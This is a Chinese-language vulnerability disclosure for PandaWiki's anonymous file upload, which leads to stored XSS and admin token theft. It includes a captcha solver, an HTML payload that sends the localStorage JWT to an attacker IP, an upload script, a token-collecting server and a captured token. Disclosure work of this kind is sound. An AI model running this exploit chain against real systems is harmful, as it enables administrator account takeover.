PandaWiki 漏洞报告

软件名称:PandaWiki

开发者或厂商:长亭科技(Chaitin Tech)

代码仓库:https://github.com/chaitin/PandaWiki

1. 匿名上传 HTML 文件导致存储型 XSS

简要描述:若知识库未开启访问口令,则匿名攻击者可以上传一个内容为 HTML 的图片文件,用户访问该文件时即被 XSS。
影响版本:3.65.0 ~ 3.87.5
前置条件:攻击者需要诱导用户打开特定链接。

漏洞成因

前台文件上传接口 /share/v1/common/file/upload 位于 share 路由组,未开启访问口令的知识库允许匿名调用。该接口对文件类型的判断如下:

// backend/handler/share/common.go:93-95    commit 0b26db72ce
	if !utils.IsImageFile(file.Filename) {
		return h.NewResponseWithError(c, "只支持图片文件上传", fmt.Errorf("unsupported file type: %s", file.Filename))
	}

IsImageFile 仅根据文件名后缀判断类型,因此把文件名取为 preview.jpg 即可通过校验。上传时的对象元数据直接取自客户端提交的 Content-Type,代码见下:

// backend/usecase/file.go:87-104    commit 0b26db72ce
	contentType := file.Header.Get("Content-Type")
	if contentType == "" {
		contentType = mime.TypeByExtension(ext)
	}

	resp, err := u.s3Client.PutObject(
		ctx,
		domain.Bucket,
		filename,
		src,
		size,
		minio.PutObjectOptions{
			ContentType: contentType,
			UserMetadata: map[string]string{
				"originalname": file.Filename,
			},
		},
	)

于是攻击者提交的 Content-Type: text/html 被原样写入对象元数据,MinIO 在返回该对象时会带上同样的 Content-Type。

读取该对象需要经过 nginx 的 /static-file/ 反向代理,代理配置如下:

# web/admin/server.conf:69-81    commit 0b26db72ce
    location ~ ^/static-file/ {
        proxy_pass http://panda-wiki-minio:9000;

        client_max_body_size 1000m;

        if ($request_uri !~* \.pdf$) {
            add_header Content-Disposition "attachment" always;
        }

这段配置的引入提交为 bfcaed09(feat(pdf) preview,2026-01-19),随 v3.65.0 发布,此前的版本对 /static-file/ 无条件添加 Content-Disposition: attachment。

$request_uri 包含查询字符串,因此当请求写成 /static-file/<key>?a=.pdf 时,不会被添加 Content-Disposition。响应头中只剩下 Content-Type: text/html,浏览器会把它当作页面渲染并执行其中的脚本。

管理后台(/api/v1/*)与 /static-file/ 由同一个 nginx 实例提供,两者同源。后台把登录凭据存在 localStorage['panda_wiki_token'] 中,因此上传页面中的脚本可以直接读取它。

复现环境搭建

实验环境使用官方 docker compose 文件部署,操作如下:

mkdir pandawiki && cd pandawiki
curl -sSLk -o docker-compose.yml https://release.baizhi.cloud/panda-wiki/docker-compose.yml

在同目录创建 .env,填入安装脚本所需的变量:

ADMIN_PORT=19800
POSTGRES_PASSWORD=pgpass_report
REDIS_PASSWORD=redispass_report
JWT_SECRET=jwtsecret_report
S3_SECRET_KEY=s3secret_report
ADMIN_PASSWORD=Report12345.
NATS_PASSWORD=natspass_report
QDRANT_API_KEY=qdrantkey_report
SUBNET_PREFIX=10.213.99

启动:

docker compose up -d

环境启动后,先在「系统设置」的模型配置里添加一个 embedding 模型。PandaWiki 创建知识库时会在向量库中建立对应的数据集,缺少默认 embedding 模型时创建知识库会失败。配置完成后再用 admin / Report12345. 登录后台,新建一个知识库,再新建一篇文档并发布。之后从后台右上角进入「访问 WIKI 网站」,可以看到公开站点已经可以访问。

复现过程

接下来演示窃取管理员账号。

本节用到的脚本均放在 files/ 目录,全部命令都在该目录下执行。

先以一个未登录用户的身份请求验证码。该验证码是工作量证明,可以在客户端求解:

import hashlib
import httpx

def prng(seed, length):
    h = 2166136261
    for ch in seed.encode():
        h ^= ch
        h = (h * 16777619) & 0xffffffff
    state = h
    out = ""
    while len(out) < length:
        state ^= (state << 13) & 0xffffffff
        state ^= state >> 17
        state ^= (state << 5) & 0xffffffff
        out += "%08x" % state
    return out[:length]

def solve(base, kb):
    c = httpx.post(base + "/share/v1/captcha/challenge", headers={"X-KB-ID": kb}, verify=False).json()
    tok, ch = c["token"], c["challenge"]
    sols = []
    for i in range(ch["c"]):
        seed = tok + str(i + 1)
        target = prng(seed + "d", ch["d"])
        salt = prng(seed, ch["s"])
        n = 0
        while not hashlib.sha256((salt + str(n)).encode()).hexdigest().startswith(target):
            n += 1
        sols.append(n)
    return httpx.post(base + "/share/v1/captcha/redeem", headers={"X-KB-ID": kb},
                      json={"token": tok, "solutions": sols}, verify=False).json()["token"]

把上面的求解代码保存为 captcha_solve.py。准备一份内容为 HTML 的文件 poc_page.html,上传时文件名取 .jpg 后缀:

<html>
<head>
  <title>Document preview</title>
  <style>
    body { font-family: -apple-system, "Segoe UI", sans-serif; background: #f5f6f8; margin: 0; }
    .wrap { max-width: 640px; margin: 80px auto; background: #fff; border-radius: 10px; padding: 32px 40px; box-shadow: 0 2px 12px rgba(0,0,0,.08); }
    h1 { font-size: 20px; margin: 0 0 16px; color: #1f2329; }
    p { color: #4b5563; line-height: 1.7; font-size: 14px; }
    code { background: #f1f2f4; padding: 2px 6px; border-radius: 4px; font-size: 13px; word-break: break-all; }
  </style>
</head>
<body>
  <div class="wrap">
    <h1>Document preview</h1>
    <p id="msg">Rendering preview, please wait...</p>
    <p>Token read from this origin: <code id="tok"></code></p>
  </div>
  <script>
    var token = localStorage.getItem("panda_wiki_token") || "(none)";
    document.getElementById("tok").textContent = token;
    document.getElementById("msg").textContent = "Preview loaded. Administrator session was read by the hosted page.";
    new Image().src = "http://10.213.77.1:18871/steal?t=" + encodeURIComponent(token);
  </script>
</body>
</html>

其中 10.213.77.1:18871 是攻击者监听的 HTTP 端口。上传该文件,Content-Type 指定为 text/html:

import httpx

from captcha_solve import solve

BASE = "https://127.0.0.1:19800"
KB = "3af1bb3a-8021-4077-a7de-d5b30519aa73"  # 从公开站点页面中取得

token = solve(BASE, KB)

with open("poc_page.html", "rb") as f:
    body = f.read()

r = httpx.post(
    BASE + "/share/v1/common/file/upload",
    headers={"X-KB-ID": KB},
    data={"captcha_token": token},
    files={"file": ("preview.jpg", body, "text/html")},
    verify=False,
)
print(r.status_code, r.text)

响应如下:

200 {"message":"","success":true,"data":{"key":"3af1bb3a-8021-4077-a7de-d5b30519aa73/b85874b6-b10c-4c3a-95f5-660353171dcd.jpg"},"code":0}

此时对象已经在 MinIO 中。分别请求带与不带 ?a=.pdf 的地址,观察响应头的差异:

$ curl -skI 'https://127.0.0.1:19800/static-file/3af1bb3a-8021-4077-a7de-d5b30519aa73/b85874b6-b10c-4c3a-95f5-660353171dcd.jpg' | grep -iE 'content-type|content-disposition'
content-type: text/html; charset=utf-8
content-disposition: attachment
$ curl -skI 'https://127.0.0.1:19800/static-file/3af1bb3a-8021-4077-a7de-d5b30519aa73/b85874b6-b10c-4c3a-95f5-660353171dcd.jpg?a=.pdf' | grep -iE 'content-type|content-disposition'
content-type: text/html; charset=utf-8

可见,带上查询参数之后,Content-Disposition 消失,响应按 HTML 处理。

启动收集服务:

from fastapi import FastAPI
import uvicorn

app = FastAPI()
LOG = "stolen_tokens.txt"


@app.get("/steal")
def steal(t: str = ""):
    with open(LOG, "a") as f:
        f.write(t + "\n")
    return {"ok": True}


if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=18871, log_level="warning")

诱导管理员打开攻击者发来的链接,页面显示出从 localStorage 中读到的 JWT:

同时,收集服务收到这个 token:

$ cat stolen_tokens.txt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTM2MTA0MTgsImlkIjoiNjczZDQ3Y2MtNjIyNi00YjkyLThkZWYtNjQwOTk2YTUyN2MxIn0.TfCXubtYvkOxkctjwxs8TNRbWpFLYihPNlXEJxrFWpw

攻击者把该 token 写入自己浏览器的 localStorage,打开后台,可以直接进入管理员界面: